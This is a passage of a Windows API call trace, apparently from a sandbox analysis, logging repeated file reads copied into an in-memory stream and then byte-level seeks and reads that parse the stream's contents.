lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.159] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.159] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.159] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.159] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.159] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.159] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.159] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.160] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.160] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.160] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.160] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.160] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.160] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.161] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.161] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.161] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.161] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.162] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x0, lpOverlapped=0x0) returned 1 [0079.162] CloseHandle (hObject=0x1e0) returned 1 [0079.162] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.163] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa40, cb=0x10, pcbRead=0x12fa24 | out: pv=0x12fa40*=0x53, pcbRead=0x12fa24*=0x10) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.163] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2a, cb=0x2, pcbRead=0x12f9f8 | out: pv=0x12fa2a*=0x8, pcbRead=0x12f9f8*=0x2) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.163] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x1, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.163] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.164] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x1, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.164] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x0, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.164] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x40, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.164] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x20, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.164] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.165] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x20, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.165] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa28, cb=0x4, pcbRead=0x12f9f8 | out: pv=0x12fa28*=0x0, pcbRead=0x12f9f8*=0x4) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.165] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x64, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x64, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.166] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d3, cb=0x1, pcbRead=0x12f9a0 | out: pv=0x12f9d3*=0x5, pcbRead=0x12f9a0*=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x65, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.166] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x0, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.166] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x0, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.166] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x69, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.167] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.167] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d3, cb=0x1, pcbRead=0x12f9a0 | out: pv=0x12f9d3*=0x0, pcbRead=0x12f9a0*=0x1) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.167] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.167] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d0, cb=0x4, pcbRead=0x12f9a0 | out: pv=0x12f9d0*=0x0, pcbRead=0x12f9a0*=0x4) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x70, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.168] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x72, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.168] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7fb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.168] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7fb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d0, cb=0x4, pcbRead=0x12f9a0 | out: pv=0x12f9d0*=0x0, pcbRead=0x12f9a0*=0x4) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7ff, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x9, pcbRead=0x12f980*=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6000, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6000, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97b, cb=0x1, pcbRead=0x12f948 | out: pv=0x12f97b*=0xd, pcbRead=0x12f948*=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6001, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x7, pcbRead=0x12f948*=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.169] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6003, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.169] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x0, pcbRead=0x12f948*=0x2) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6005, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.170] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x1, pcbRead=0x12f948*=0x2) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.170] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6007, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.170] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97b, cb=0x1, pcbRead=0x12f948 | out: pv=0x12f97b*=0x0, pcbRead=0x12f948*=0x1) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6008, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.171] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x7, pcbRead=0x12f948*=0x2) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x600a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.171] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x7, pcbRead=0x12f948*=0x2) returned 0x0 [0079.171] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x600c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.172] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x4, pcbRead=0x12f948*=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x600e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.172] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 